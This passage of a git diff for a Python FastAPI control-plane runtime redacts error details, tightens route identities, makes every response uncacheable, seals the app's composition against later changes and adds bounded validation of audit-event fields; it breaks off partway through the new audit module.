identity=identity, ) except ValueError as exc: - raise HTTPException(status_code=409, detail=str(exc)) from exc - _record_operation_receipt_audit( - calls, - control_plane, - action="submit_evaluation", - identity=identity.identity, - target=str(request.url.path), - receipt=receipt, - ) + raise HTTPException(status_code=409, detail=_conflict_detail(exc)) from exc return _receipt_response(receipt) @@ -234,18 +308,18 @@ def _register_operation_read_routes( async def get_operation( operation_id: str, request: Request, - identity: _ReadIdentity, + identity: _AdministrativeReadIdentity, ) -> OperationStatusModel: calls = _control_plane_calls(request) - status = await calls.run(control_plane.get_operation, operation_id) + status = await calls.run(control_plane.get_operation, operation_id, identity=identity) if status is None: - raise HTTPException(status_code=404, detail=f"Unknown operation: {operation_id}") + raise HTTPException(status_code=404, detail="operation not found") await calls.run( control_plane.record_audit, action="get_operation", identity=identity.identity, allowed=True, - target=str(request.url.path), + target=control_plane._target_scope, operation_id=operation_id, ) return _operation_status_model(status) @@ -254,7 +328,7 @@ async def get_operation( async def get_snapshot( request: Request, response: Response, - identity: _ReadIdentity, + identity: _AdministrativeReadIdentity, ) -> RuntimeSnapshotEnvelopeModel: calls = _control_plane_calls(request) await calls.run( @@ -262,7 +336,7 @@ async def get_snapshot( action="get_snapshot", identity=identity.identity, allowed=True, - target=str(request.url.path), + target=control_plane._target_scope, ) model, revision = await calls.run( control_plane._project_snapshot_read, @@ -275,7 +349,7 @@ async def get_snapshot( async def get_operational_apparatus_summary( request: Request, response: Response, - identity: _ReadIdentity, + identity: _AdministrativeReadIdentity, ) -> dict[str, object]: calls = _control_plane_calls(request) await calls.run( @@ -283,7 +357,7 @@ async def get_operational_apparatus_summary( action="get_operational_apparatus_summary", identity=identity.identity, allowed=True, - target=str(request.url.path), + target=control_plane._target_scope, ) summary, revision = await calls.run( control_plane._project_snapshot_read, diff --git a/implementations/python/packages/raes_runtime/control_plane_api/_participant_routes.py b/implementations/python/packages/raes_runtime/control_plane_api/_participant_routes.py index b84a43547..3150ba67b 100644 --- a/implementations/python/packages/raes_runtime/control_plane_api/_participant_routes.py +++ b/implementations/python/packages/raes_runtime/control_plane_api/_participant_routes.py @@ -19,14 +19,14 @@ _ParticipantTerminateBody, ) from ..participant_control_intents import ParticipantControlIntent -from ._auth import _MutatingIdentity, _ReadIdentity +from ._auth import _AdministrativeMutationIdentity, _AdministrativeReadIdentity from ._offload import _control_plane_calls from ._responses import ( _BAD_REQUEST_CONFLICT_RESPONSES, _CONFLICT_RESPONSES, _NOT_FOUND_RESPONSES, + _conflict_detail, _receipt_response, - _record_operation_receipt_audit, _set_snapshot_revision_header, ) @@ -42,7 +42,7 @@ def _register_participant_execution_routes( async def control_participant_execution( execution_scope_ref: str, request: Request, - identity: _MutatingIdentity, + identity: _AdministrativeMutationIdentity, body: _ParticipantExecutionControlBody, ) -> OperationReceiptModel: calls = _control_plane_calls(request) @@ -60,15 +60,7 @@ async def control_participant_execution( identity=identity, ) except ValueError as exc: - raise HTTPException(status_code=409, detail=str(exc)) from exc - _record_operation_receipt_audit( - calls, - control_plane, - action=f"participant_execution_{body.action}", - identity=identity.identity, - target=str(request.url.path), - receipt=receipt, - ) + raise HTTPException(status_code=409, detail=_conflict_detail(exc)) from exc return _receipt_response(receipt) @app.get( @@ -79,7 +71,7 @@ async def get_participant_execution_state( execution_scope_ref: str, request: Request, response: Response, - identity: _ReadIdentity, + identity: _AdministrativeReadIdentity, ) -> ParticipantExecutionServiceStateModel: calls = _control_plane_calls(request) try: @@ -88,13 +80,13 @@ async def get_participant_execution_state( lambda: control_plane.participant_execution_state(execution_scope_ref), ) except ValueError as exc: - raise HTTPException(status_code=404, detail=str(exc)) from exc + raise HTTPException(status_code=404, detail="participant execution not found") from exc await calls.run( control_plane.record_audit, action="get_participant_execution_state", identity=identity.identity, allowed=True, - target=str(request.url.path), + target=control_plane._target_scope, ) _set_snapshot_revision_header(response, revision) return state @@ -120,7 +112,7 @@ async def record_participant_control( participant_address: str, request: Request, body: ParticipantControlIntent, - identity: _MutatingIdentity, + identity: _AdministrativeMutationIdentity, ) -> OperationReceiptModel: calls = _control_plane_calls(request) try: @@ -137,7 +129,7 @@ async def record_participant_control( action="record_participant_control", identity=identity.identity, allowed=False, - target=participant_address, + target=control_plane._target_scope, reason="forbidden-subject", ) raise HTTPException(status_code=403, detail="forbidden") from exc @@ -160,7 +152,7 @@ def _register_participant_episode_start_routes( async def initialize_participant_episode( participant_address: str, request: Request, - identity: _MutatingIdentity, + identity: _AdministrativeMutationIdentity, body: _ParticipantInitializeBody | None = None, ) -> OperationReceiptModel: payload = body or _ParticipantInitializeBody() @@ -174,15 +166,7 @@ async def initialize_participant_episode( identity=identity, ) except ValueError as exc: - raise HTTPException(status_code=409, detail=str(exc)) from exc - _record_operation_receipt_audit( - calls, - control_plane, - action="initialize_participant_episode", - identity=identity.identity, - target=str(request.url.path), - receipt=receipt, - ) + raise HTTPException(status_code=409, detail=_conflict_detail(exc)) from exc return _receipt_response(receipt) @app.post( @@ -192,7 +176,7 @@ async def initialize_participant_episode( async def reset_participant_episode( participant_address: str, request: Request, - identity: _MutatingIdentity, + identity: _AdministrativeMutationIdentity, body: _ParticipantResetBody | None = None, ) -> OperationReceiptModel: payload = body or _ParticipantResetBody() @@ -207,15 +191,7 @@ async def reset_participant_episode( identity=identity, ) except ValueError as exc: - raise HTTPException(status_code=409, detail=str(exc)) from exc - _record_operation_receipt_audit( - calls, - control_plane, - action="reset_participant_episode", - identity=identity.identity, - target=str(request.url.path), - receipt=receipt, - ) + raise HTTPException(status_code=409, detail=_conflict_detail(exc)) from exc return _receipt_response(receipt) @@ -230,7 +206,7 @@ def _register_participant_episode_end_routes( async def restart_participant_episode( participant_address: str, request: Request, - identity: _MutatingIdentity, + identity: _AdministrativeMutationIdentity, body: _ParticipantRestartBody | None = None, ) -> OperationReceiptModel: payload = body or _ParticipantRestartBody() @@ -245,15 +221,7 @@ async def restart_participant_episode( identity=identity, ) except ValueError as exc: - raise HTTPException(status_code=409, detail=str(exc)) from exc - _record_operation_receipt_audit( - calls, - control_plane, - action="restart_participant_episode", - identity=identity.identity, - target=str(request.url.path), - receipt=receipt, - ) + raise HTTPException(status_code=409, detail=_conflict_detail(exc)) from exc return _receipt_response(receipt) @app.post( @@ -263,7 +231,7 @@ async def restart_participant_episode( async def terminate_participant_episode( participant_address: str, request: Request, - identity: _MutatingIdentity, + identity: _AdministrativeMutationIdentity, body: _ParticipantTerminateBody | None = None, ) -> OperationReceiptModel: payload = body or _ParticipantTerminateBody() @@ -271,7 +239,7 @@ async def terminate_participant_episode( try: terminal_reason = ParticipantEpisodeTerminalReason(payload.terminal_reason) except ValueError as exc: - raise HTTPException(status_code=400, detail=f"invalid terminal_reason: {exc}") from exc + raise HTTPException(status_code=400, detail="invalid terminal_reason") from exc try: receipt = await calls.mutate( control_plane.terminate_participant_episode, @@ -282,13 +250,5 @@ async def terminate_participant_episode( identity=identity, ) except ValueError as exc: - raise HTTPException(status_code=409, detail=str(exc)) from exc - _record_operation_receipt_audit( - calls, - control_plane, - action="terminate_participant_episode", - identity=identity.identity, - target=str(request.url.path), - receipt=receipt, - ) + raise HTTPException(status_code=409, detail=_conflict_detail(exc)) from exc return _receipt_response(receipt) diff --git a/implementations/python/packages/raes_runtime/control_plane_api/_responses.py b/implementations/python/packages/raes_runtime/control_plane_api/_responses.py index 27b740e38..b4e32135b 100644 --- a/implementations/python/packages/raes_runtime/control_plane_api/_responses.py +++ b/implementations/python/packages/raes_runtime/control_plane_api/_responses.py @@ -2,18 +2,16 @@ from __future__ import annotations -from typing import TYPE_CHECKING - from fastapi import Response from raes_contracts.contracts import OperationReceiptModel from raes_contracts.diagnostics import portable_diagnostic_payload from raes_contracts.runtime_state import OperationReceipt -if TYPE_CHECKING: - from ..control_plane import RuntimeControlPlane - from ._offload import _ControlPlaneCallExecutor +from ..control_plane_store_revision import SnapshotRevisionConflict _CONFLICT_RESPONSES = {409: {"description": "Conflict"}} +_CONFLICT_DETAIL = "operation conflict" +_SNAPSHOT_REVISION_CONFLICT_DETAIL = "snapshot revision conflict" _NOT_FOUND_RESPONSES = {404: {"description": "Not found"}} _BAD_REQUEST_CONFLICT_RESPONSES = { 400: {"description": "Bad request"}, @@ -26,6 +24,20 @@ def _set_snapshot_revision_header(response: Response, revision: int) -> None: response.headers[_SNAPSHOT_REVISION_HEADER] = str(revision) +def _conflict_detail(error: ValueError) -> str: + """Map a core conflict to a stable, redacted detail without echoing exception text. + + P2 provider, store, and validation failures must never surface a raw + exception string (ADR-104 §7; FM3 invariant 10). ``SnapshotRevisionConflict`` + keeps its stable public label so a stale-write conflict stays diagnosable; + every other conflict collapses to the coarse ``operation conflict`` envelope. + """ + + if isinstance(error, SnapshotRevisionConflict): + return _SNAPSHOT_REVISION_CONFLICT_DETAIL + return _CONFLICT_DETAIL + + def _receipt_response(receipt: OperationReceipt) -> OperationReceiptModel: return OperationReceiptModel.model_validate( { @@ -38,17 +50,3 @@ def _receipt_response(receipt: OperationReceipt) -> OperationReceiptModel: "diagnostics": [portable_diagnostic_payload(diag) for diag in receipt.diagnostics], } ) - - -def _record_operation_receipt_audit( - calls: _ControlPlaneCallExecutor, - control_plane: RuntimeControlPlane, - *, - action: str, - identity: str, - target: str, - receipt: OperationReceipt, -) -> None: - """Retain the route seam; core persistence owns operation audit.""" - - del calls, control_plane, action, identity, target, receipt diff --git a/implementations/python/packages/raes_runtime/control_plane_api/_workflow_routes.py b/implementations/python/packages/raes_runtime/control_plane_api/_workflow_routes.py index bbe8bca0e..0d4c6ff0f 100644 --- a/implementations/python/packages/raes_runtime/control_plane_api/_workflow_routes.py +++ b/implementations/python/packages/raes_runtime/control_plane_api/_workflow_routes.py @@ -6,9 +6,9 @@ from raes_contracts.contracts import OperationReceiptModel, WorkflowCancellationRequestModel from ..control_plane import RuntimeControlPlane -from ._auth import _MutatingIdentity +from ._auth import _AdministrativeMutationIdentity from ._offload import _control_plane_calls -from ._responses import _CONFLICT_RESPONSES, _receipt_response, _record_operation_receipt_audit +from ._responses import _CONFLICT_RESPONSES, _conflict_detail, _receipt_response def _register_workflow_routes( @@ -19,7 +19,7 @@ def _register_workflow_routes( async def cancel_workflow( workflow_address: str, request: Request, - identity: _MutatingIdentity, + identity: _AdministrativeMutationIdentity, cancellation: WorkflowCancellationRequestModel | None = None, ) -> OperationReceiptModel: payload = cancellation or WorkflowCancellationRequestModel() @@ -34,21 +34,13 @@ async def cancel_workflow( identity=identity, ) except ValueError as exc: - raise HTTPException(status_code=409, detail=str(exc)) from exc - _record_operation_receipt_audit( - calls, - control_plane, - action="cancel_workflow", - identity=identity.identity, - target=str(request.url.path), - receipt=receipt, - ) + raise HTTPException(status_code=409, detail=_conflict_detail(exc)) from exc return _receipt_response(receipt) @app.post("/workflows/reconcile-timeouts", responses=_CONFLICT_RESPONSES) async def reconcile_timeouts( request: Request, - identity: _MutatingIdentity, + identity: _AdministrativeMutationIdentity, ) -> OperationReceiptModel: calls = _control_plane_calls(request) try: @@ -58,13 +50,5 @@ async def reconcile_timeouts( identity=identity, ) except ValueError as exc: - raise HTTPException(status_code=409, detail=str(exc)) from exc - _record_operation_receipt_audit( - calls, - control_plane, - action="reconcile_workflow_timeouts", - identity=identity.identity, - target=str(request.url.path), - receipt=receipt, - ) + raise HTTPException(status_code=409, detail=_conflict_detail(exc)) from exc return _receipt_response(receipt) diff --git a/implementations/python/packages/raes_runtime/control_plane_api_guards.py b/implementations/python/packages/raes_runtime/control_plane_api_guards.py index c1a14022b..419ee0f08 100644 --- a/implementations/python/packages/raes_runtime/control_plane_api_guards.py +++ b/implementations/python/packages/raes_runtime/control_plane_api_guards.py @@ -3,7 +3,7 @@ from __future__ import annotations import logging -from collections.abc import Sequence +from collections.abc import Callable, Sequence from functools import partial from anyio import CapacityLimiter, to_thread @@ -12,6 +12,7 @@ from .control_plane import RuntimeControlPlane +NO_STORE_CACHE_CONTROL = "no-store" _REQUEST_TOO_LARGE_DETAIL = "request too large" _INVALID_CONTENT_LENGTH_DETAIL = "invalid content-length" _LOGGER = logging.getLogger(__name__) @@ -24,6 +25,7 @@ def __init__(self, control_plane: RuntimeControlPlane, *, max_pending: int) -> N if max_pending <= 0: raise ValueError("max_pending rejection audits must be positive") self._control_plane = control_plane + self._audit_target = control_plane._target_scope self._max_pending = max_pending self._pending = 0 self._limiter = CapacityLimiter(1) @@ -34,16 +36,10 @@ async def record( action: str, identity: str, allowed: bool, - target: str, reason: str, ) -> bool: if self._pending >= self._max_pending: - _LOGGER.warning( - "control-plane rejection audit queue is full; dropping audit action=%s target=%s reason=%s", - action, - target, - reason, - ) + _LOGGER.warning("control-plane-rejection-audit-dropped queue-full") return False self._pending += 1 try: @@ -52,7 +48,7 @@ async def record( action=action, identity=identity, allowed=allowed, - target=target, + target=self._audit_target, reason=reason, ) await to_thread.run_sync(call, limiter=self._limiter) @@ -61,6 +57,83 @@ async def record( return True +class NoStoreResponseMiddleware: + """Mark every control-plane HTTP response uncacheable. + + Snapshots, operation readback, governed views, idempotent replays and error + envelopes are all authorization-bound outputs (issue #1359). A shared proxy + or browser cache keyed by URL could re-release them without admission or a + governed crossing, so the policy is applied once at the application boundary + instead of per route. Starlette's server-error layer sits outside user + middleware, so the redacted 500 handler sets the same header itself. + """ + + def __init__(self, app: ASGIApp) -> None: + self._app = app + + async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None: + if scope["type"] != "http": + await self._app(scope, receive, send) + return + + async def send_uncacheable(message: Message) -> None: + if message["type"] == "http.response.start": + headers = [ + (name, value) for name, value in message.get("headers", ()) if name.lower() != b"cache-control" + ] + headers.append((b"cache-control", NO_STORE_CACHE_CONTROL.encode("ascii"))) + message = {**message, "headers": headers} + await send(message) + + await self._app(scope, receive, send_uncacheable) + + +async def refuse_unsealed_request(scope: Scope, receive: Receive, send: Send) -> None: + """Refuse one request or startup because the app composition is not the admitted one.""" + + _LOGGER.error("control-plane app composition changed after construction") + if scope["type"] == "lifespan": + # As Starlette's router does: report the failed startup, then raise so the + # server stops instead of waiting for a shutdown the app will not serve. + await receive() + await send({"type": "lifespan.startup.failed", "message": "control-plane app composition changed"}) + raise RuntimeError("control-plane app composition changed after construction") + if scope["type"] == "websocket": + await send({"type": "websocket.close", "code": 1011}) + elif scope["type"] == "http": + response = JSONResponse( + status_code=500, + content={"detail": "internal server error"}, + headers={"cache-control": NO_STORE_CACHE_CONTROL}, + ) + await response(scope, receive, send) + + +class AppCompositionSealMiddleware: + """Refuse every request once the served app differs from the admitted composition. + + ``verify_app`` raises when the app's routes, middleware, exception handlers + or dependency overrides are not exactly those checked at construction + (issue #1359). The app also re-checks when it builds its middleware stack; + this per-request check covers what can still change afterwards, such as a + route or dependency override added to a running app. No route runs, not + even one that was admitted. + """ + + def __init__(self, app: ASGIApp, *, verify_app: Callable[[object], None]) -> None: + self._app = app + self._verify_app = verify_app + + async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None: + if scope["type"] in {"http", "websocket"}: + try: + self._verify_app(scope.get("app")) + except RuntimeError: + await refuse_unsealed_request(scope, receive, send) + return + await self._app(scope, receive, send) + + class RequestSizeLimitMiddleware: """Reject oversized HTTP bodies before FastAPI parses or dispatches them. @@ -150,16 +223,17 @@ async def _reject( ) -> None: try: await self._rejection_audits.record( - action=scope.get("method", ""), + action="http-request-rejected", identity="anonymous", allowed=False, - target=scope.get("path", ""), reason=detail, ) except Exception: # Admission already failed closed. An unavailable audit store must - # neither dispatch the body nor replace the stable rejection. - _LOGGER.exception("control-plane rejection audit persistence failed") + # neither dispatch the body nor replace the stable rejection. Log only a + # stable, bounded label: a traceback or exception chain here could carry + # provider/store internals (ADR-104 §7; issue-1188 preflight). + _LOGGER.error("control-plane rejection audit persistence failed") response = JSONResponse(status_code=status_code, content={"detail": detail}) await response(scope, receive, send) diff --git a/implementations/python/packages/raes_runtime/control_plane_api_models.py b/implementations/python/packages/raes_runtime/control_plane_api_models.py index e9a5df149..5707e3b21 100644 --- a/implementations/python/packages/raes_runtime/control_plane_api_models.py +++ b/implementations/python/packages/raes_runtime/control_plane_api_models.py @@ -78,6 +78,9 @@ def _provisioning_plan(model: ProvisioningPlanModel) -> ProvisioningPlan: from raes_contracts.planning import PlannedRealizationConstraint return ProvisioningPlan( + materialization_source=model.materialization_source, + augmentation_scope_required=model.augmentation_scope_required, + purpose=model.purpose, preparation=model.preparation, profile_authority=model.profile_authority, operations=[ @@ -142,6 +145,10 @@ def _provisioning_plan(model: ProvisioningPlanModel) -> ProvisioningPlan: def _orchestration_plan(model: OrchestrationPlanModel) -> OrchestrationPlan: return OrchestrationPlan( + operation_id=model.operation_id, + materialization_source=model.materialization_source, + augmentation_scope_required=model.augmentation_scope_required, + purpose=model.purpose, operations=[ OrchestrationOp( action=ChangeAction(str(op.action)), @@ -161,6 +168,10 @@ def _orchestration_plan(model: OrchestrationPlanModel) -> OrchestrationPlan: def _evaluation_plan(model: EvaluationPlanModel) -> EvaluationPlan: return EvaluationPlan( + operation_id=model.operation_id, + materialization_source=model.materialization_source, + augmentation_scope_required=model.augmentation_scope_required, + purpose=model.purpose, operations=[ EvaluationOp( action=ChangeAction(str(op.action)), @@ -199,6 +210,9 @@ def _operation_status_model(status: OperationStatus) -> OperationStatusModel: def _snapshot_model(envelope: RuntimeSnapshotEnvelope) -> RuntimeSnapshotEnvelopeModel: snapshot = envelope.snapshot payload = { + "materialization_attestations": [ + record.model_dump(mode="json") for record in snapshot.materialization_attestations + ], "schema_version": envelope.schema_version, "entries": { address: { @@ -222,6 +236,7 @@ def _snapshot_model(envelope: RuntimeSnapshotEnvelope) -> RuntimeSnapshotEnvelop "participant_behavior_history": dict(snapshot.participant_behavior_history), "participant_control_history": dict(snapshot.participant_control_history), "participant_crossing_history": dict(snapshot.participant_crossing_history), + "participant_control_evaluation_history": dict(snapshot.participant_control_evaluation_history), "information_state_history": dict(snapshot.information_state_history), "participant_autonomous_execution_states": dict(snapshot.participant_autonomous_execution_states), "participant_execution_services": dict(snapshot.participant_execution_services), diff --git a/implementations/python/packages/raes_runtime/control_plane_api_participant_retrieval.py b/implementations/python/packages/raes_runtime/control_plane_api_participant_retrieval.py index aa9600225..42ddd1b44 100644 --- a/implementations/python/packages/raes_runtime/control_plane_api_participant_retrieval.py +++ b/implementations/python/packages/raes_runtime/control_plane_api_participant_retrieval.py @@ -1,4 +1,11 @@ -"""HTTP routes for API-408 participant retrieval views.""" +"""HTTP routes for API-408 participant retrieval views. + +These are administrative reads (issue #1356/#1359): the host's service identity +is admitted by the shared read authority. With a crossing resolver, a view also +requires one exact participant/audience binding and a committed API-423 +crossing. Without a resolver, the legacy view is an administrative projection +that a host must not release to a participant. +""" from __future__ import annotations @@ -15,6 +22,7 @@ from raes_contracts.runtime_state import OperationKind from .control_plane import RuntimeControlPlane +from .control_plane_api._auth import _AdministrativeReadIdentity from .control_plane_api._offload import _control_plane_calls from .control_plane_api._responses import _set_snapshot_revision_header from .control_plane_security import ControlPlaneIdentity, ParticipantAudienceSubjectBinding @@ -28,13 +36,6 @@ _ViewT = TypeVar("_ViewT") -def _read_identity_dependency(request: Request) -> ControlPlaneIdentity: - return request.app.state.control_plane_api_auth.read_identity(request) - - -_ReadIdentity = Annotated[ControlPlaneIdentity, Depends(_read_identity_dependency)] - - @dataclass(frozen=True) class _GovernedViewResolution(Generic[_ViewT]): action: str @@ -74,14 +75,31 @@ async def _resolved_governed_view( audience_binding = _require_governed_audience_candidate(control_plane, identity, participant_address) calls = _control_plane_calls(request) - projection = await calls.mutate( - _governed_view, - lambda: control_plane._project_snapshot_read( - lambda: resolution.resolve(audience_binding, request.headers.get("idempotency-key", "")), - mutation_kind=OperationKind.PARTICIPANT_CROSSING, - ), - ) - view, revision = projection + idempotency_key = request.headers.get("idempotency-key", "") + if audience_binding is None: + # No crossing-policy resolver governs this participant: the projection + # records no crossing evidence, so it is a side-effect-free read. Serve it + # on the non-contending run() path from one authoritative state cut so it + # never waits on backend mutation latency (ADR-104 §2 P2; issue-1188 + # preflight "only the legacy/pure projection path may bypass mutation + # admission"). + view, revision = await calls.run( + _governed_view, + lambda: control_plane._project_snapshot_read( + lambda: resolution.resolve(audience_binding, idempotency_key), + ), + ) + else: + # Governed egress must commit its RUN-319 crossing occurrence before the + # view is disclosed, so it stays a read-shaped mutation on the one + # mutation authority with revision/history-head checks. + view, revision = await calls.mutate( + _governed_view, + lambda: control_plane._project_snapshot_read( + lambda: resolution.resolve(audience_binding, idempotency_key), + mutation_kind=OperationKind.PARTICIPANT_CROSSING, + ), + ) if view is None: raise HTTPException(status_code=404, detail=resolution.not_found_detail) await calls.run( @@ -89,7 +107,7 @@ async def _resolved_governed_view( action=resolution.action, identity=identity.identity, allowed=True, - target=str(request.url.path), + target=control_plane._target_scope, ) _set_snapshot_revision_header(response, revision) return view @@ -107,7 +125,7 @@ async def get_participant_status_view( participant_address: str, request: Request, response: Response, - identity: _ReadIdentity, + identity: _AdministrativeReadIdentity, ) -> ParticipantStatusViewModel: return await _resolved_governed_view( control_plane, @@ -117,7 +135,7 @@ async def get_participant_status_view( participant_address, _GovernedViewResolution( action="get_participant_status_view", - not_found_detail=f"Unknown participant: {participant_address}", + not_found_detail="participant not found", resolve=lambda audience_binding, idempotency_key: control_plane.get_participant_status_view( participant_address, identity=identity, @@ -136,7 +154,7 @@ async def get_participant_history_view( episode_id: str, request: Request, response: Response, - identity: _ReadIdentity, + identity: _AdministrativeReadIdentity, ) -> ParticipantHistoryViewModel: return await _resolved_governed_view( control_plane, @@ -146,7 +164,7 @@ async def get_participant_history_view( participant_address, _GovernedViewResolution( action="get_participant_history_view", - not_found_detail=f"Unknown participant episode: {participant_address}/{episode_id}", + not_found_detail="participant episode not found", resolve=lambda audience_binding, idempotency_key: control_plane.get_participant_history_view( participant_address, episode_id, @@ -165,7 +183,7 @@ async def get_participant_context_view( participant_address: str, request: Request, response: Response, - identity: _ReadIdentity, + identity: _AdministrativeReadIdentity, query: _ContextQuery, ) -> ParticipantContextViewModel: return await _resolved_governed_view( @@ -176,7 +194,7 @@ async def get_participant_context_view( participant_address, _GovernedViewResolution( action="get_participant_context_view", - not_found_detail=f"Unknown participant: {participant_address}", + not_found_detail="participant not found", resolve=lambda audience_binding, idempotency_key: control_plane.get_participant_context_view( participant_address, view_ref=query.view_ref, diff --git a/implementations/python/packages/raes_runtime/control_plane_audit.py b/implementations/python/packages/raes_runtime/control_plane_audit.py new file mode 100644 index 000000000..2a6afe4f2 --- /dev/null +++ b/implementations/python/packages/raes_runtime/control_plane_audit.py @@ -0,0 +1,201 @@ +"""Bounded value-free validation for control-plane audit carriers.""" + +from __future__ import annotations + +import json +import re +from collections.abc import Mapping, Sequence +from functools import partial +from typing import cast + +from raes_contracts.operation_lifecycle import OperationState + +_MAX_AUDIT_STRING_LENGTH = 512 +_MAX_DETAIL_KEY_LENGTH = 128 +_MAX_DETAIL_COUNT = 16 +_MAX_DETAIL_SEQUENCE_LENGTH = 32 +_MAX_DETAILS_BYTES = 4096 +_MAX_INTEGER = 2**63 - 1 +_IDENTIFIER = re.compile(r"[A-Za-z0-9][A-Za-z0-9_.:@#-]{0,255}\Z") +_DIAGNOSTIC_CODE = re.compile(r"[A-Za-z0-9][A-Za-z0-9_.:-]{0,255}\Z") +_CONTROL_KINDS = frozenset( + {"proposal", "approval", "denial", "external-direction", "intervention", "handoff", "override", "cancellation"} +) +_CROSSING_DISPOSITIONS = frozenset({"permit", "deny", "transform", "withhold", "unsupported"}) +_FLOW_DISPOSITIONS = frozenset({"permit", "deny", "unsupported", "stale", "unresolved"}) +# API-424 composition dispositions plus the runtime's own unresolved class. +_CONTROL_COMPOSITION_DISPOSITIONS = frozenset( + {"eligible", "deny", "withhold", "unsupported", "stale", "failed", "weakened", "conflict", "unresolved"} +) +_CROSSING_DETAIL_KEYS = frozenset( + { + "episode_id", + "audience_scope_ref", + "decision_id", + "decision_cut_ref", + "disposition", + "flow_sink_decision_id", + "flow_relation_document_id", + "flow_relation_document_revision", + "flow_final_disposition", + "control_evaluation_id", + "control_selection_id", + "control_disposition", + } +) +_COMPOSED_CROSSING_DETAIL_KEYS = frozenset( + {"crossing_decision_id", "crossing_decision_cut_ref", "crossing_disposition"} +) +_CONTROL_DETAIL_KEYS = frozenset({"episode_id", "kind", "event_id"}) +# RUN-320 records one realization transition per dispatched effect batch. +_CONTROL_REALIZATION_DETAIL_KEYS = frozenset({"control_evaluation_id", "control_selection_id", "control_disposition"}) +_IDENTIFIER_KEYS = frozenset( + { + "episode_id", + "audience_scope_ref", + "decision_id", + "decision_cut_ref", + "crossing_decision_id", + "crossing_decision_cut_ref", + "event_id", + "flow_sink_decision_id", + "flow_relation_document_id", + "flow_relation_document_revision", + "control_evaluation_id", + "control_selection_id", + } +) +_OPTIONAL_FLOW_IDENTIFIERS = frozenset( + {"flow_sink_decision_id", "flow_relation_document_id", "flow_relation_document_revision"} +) +# An unresolved composition never resolved an evaluation or a selection to name. +_OPTIONAL_CONTROL_IDENTIFIERS = frozenset({"control_evaluation_id", "control_selection_id"}) +_DEFAULT_DETAIL_KEYS = frozenset({"count"}) +_ADMISSION_DETAIL_KEYS = frozenset({"diagnostic_codes", "diagnostics_truncated"}) +_TERMINAL_DETAIL_KEYS = frozenset({"state"}) +_DETAIL_KEYS_BY_ACTION = { + "legacy_operation_admission": frozenset({"migration"}), + "record_participant_control": _CONTROL_DETAIL_KEYS | _CROSSING_DETAIL_KEYS | _COMPOSED_CROSSING_DETAIL_KEYS, + "record_participant_control_realization": _CONTROL_REALIZATION_DETAIL_KEYS, + "dispatch_participant_control_effects": frozenset(), + "record_participant_crossing": _CROSSING_DETAIL_KEYS | _COMPOSED_CROSSING_DETAIL_KEYS, + "authorize_participant_action": _CROSSING_DETAIL_KEYS | _COMPOSED_CROSSING_DETAIL_KEYS, + "admit_participant_action": _CROSSING_DETAIL_KEYS | _COMPOSED_CROSSING_DETAIL_KEYS, +} +_ENUM_DOMAINS = { + "state": frozenset(state.value for state in OperationState), + "kind": _CONTROL_KINDS, + "disposition": _CROSSING_DISPOSITIONS, + "crossing_disposition": _CROSSING_DISPOSITIONS, + "flow_final_disposition": _FLOW_DISPOSITIONS, + "control_disposition": _CONTROL_COMPOSITION_DISPOSITIONS, + "migration": frozenset({"local-operation-record/v1-to-v2"}), +} + + +def require_audit_event_fields( + *, + timestamp: object, + action: object, + identity: object, + target: object, + operation_id: object, + reason: object, + details: object, +) -> None: + """Admit only bounded details owned by the event's closed action family.""" + + _require_string(timestamp, label="audit timestamp", allow_empty=False) + _require_string(action, label="audit action", allow_empty=False) + _require_string(identity, label="audit identity", allow_empty=False) + _require_string(target, label="audit target", allow_empty=False) + _require_string(operation_id, label="audit operation id", allow_empty=True) + _require_string(reason, label="audit reason", allow_empty=True) + if not isinstance(details, Mapping) or len(details) > _MAX_DETAIL_COUNT: + raise ValueError("audit details must be a bounded mapping") + allowed = _allowed_detail_keys(action) + normalized: dict[str, str | int | bool | list[str]] = {} + for key, value in details.items(): + if not isinstance(key, str) or len(key) > _MAX_DETAIL_KEY_LENGTH or key not in allowed: + raise ValueError("audit details field is not allowed for this action") + normalized[key] = _require_detail_value(key, value, details) + encoded = json.dumps(normalized, sort_keys=True, separators=(",", ":"), ensure_ascii=False).encode("utf-8") + if len(encoded) > _MAX_DETAILS_BYTES: + raise ValueError("audit details exceed the encoded-size bound") + + +def _allowed_detail_keys(action: object) -> frozenset[str]: + if not isinstance(action, str): + return _DEFAULT_DETAIL_KEYS + allowed = _DETAIL_KEYS_BY_ACTION.get(action) + if allowed is None and action.endswith("_admission"): + allowed = _ADMISSION_DETAIL_KEYS + if allowed is None and action.endswith("_terminal"): + allowed = _TERMINAL_DETAIL_KEYS + return allowed if allowed is not None else _DEFAULT_DETAIL_KEYS + + +def _require_detail_value(key: str, value: object, details: Mapping[object, object]) -> str | int | bool | list[str]: + validator = _DETAIL_VALIDATORS.get(key) + if validator is None or not validator(value, details): + raise ValueError("audit details value is outside its allowed domain") + normalized = list(value) if key == "diagnostic_codes" and isinstance(value, Sequence) else value + return cast("str | int | bool | list[str]", normalized) + + +def _valid_identifier(value: object, _details: Mapping[object, object]) -> bool: + return isinstance(value, str) and _IDENTIFIER.fullmatch(value) is not None + + +def _valid_optional_flow_identifier(value: object, details: Mapping[object, object]) -> bool: + return _valid_identifier(value, details) or ( + value == "" and details.get("flow_final_disposition") in _FLOW_DISPOSITIONS - {"permit"} + ) + + +def _valid_optional_control_identifier(value: object, details: Mapping[object, object]) -> bool: + return _valid_identifier(value, details) or ( + value == "" and details.get("control_disposition") in _CONTROL_COMPOSITION_DISPOSITIONS - {"eligible"} + ) + + +def _valid_enum(value: object, _details: Mapping[object, object], *, allowed: frozenset[str]) -> bool: + return isinstance(value, str) and value in allowed + + +def _valid_diagnostic_codes(value: object, _details: Mapping[object, object]) -> bool: + return ( + isinstance(value, Sequence) + and not isinstance(value, (str, bytes, bytearray)) + and len(value) <= _MAX_DETAIL_SEQUENCE_LENGTH + and all(isinstance(item, str) and _DIAGNOSTIC_CODE.fullmatch(item) for item in value) + ) + + +def _valid_boolean(value: object, _details: Mapping[object, object]) -> bool: + return isinstance(value, bool) + + +def _valid_count(value: object, _details: Mapping[object, object]) -> bool: + return isinstance(value, int) and not isinstance(value, bool) and 0 <= value <= _MAX_INTEGER + + +_DETAIL_VALIDATORS = { + **dict.fromkeys(_IDENTIFIER_KEYS - _OPTIONAL_FLOW_IDENTIFIERS - _OPTIONAL_CONTROL_IDENTIFIERS, _valid_identifier), + **dict.fromkeys(_OPTIONAL_FLOW_IDENTIFIERS, _valid_optional_flow_identifier), + 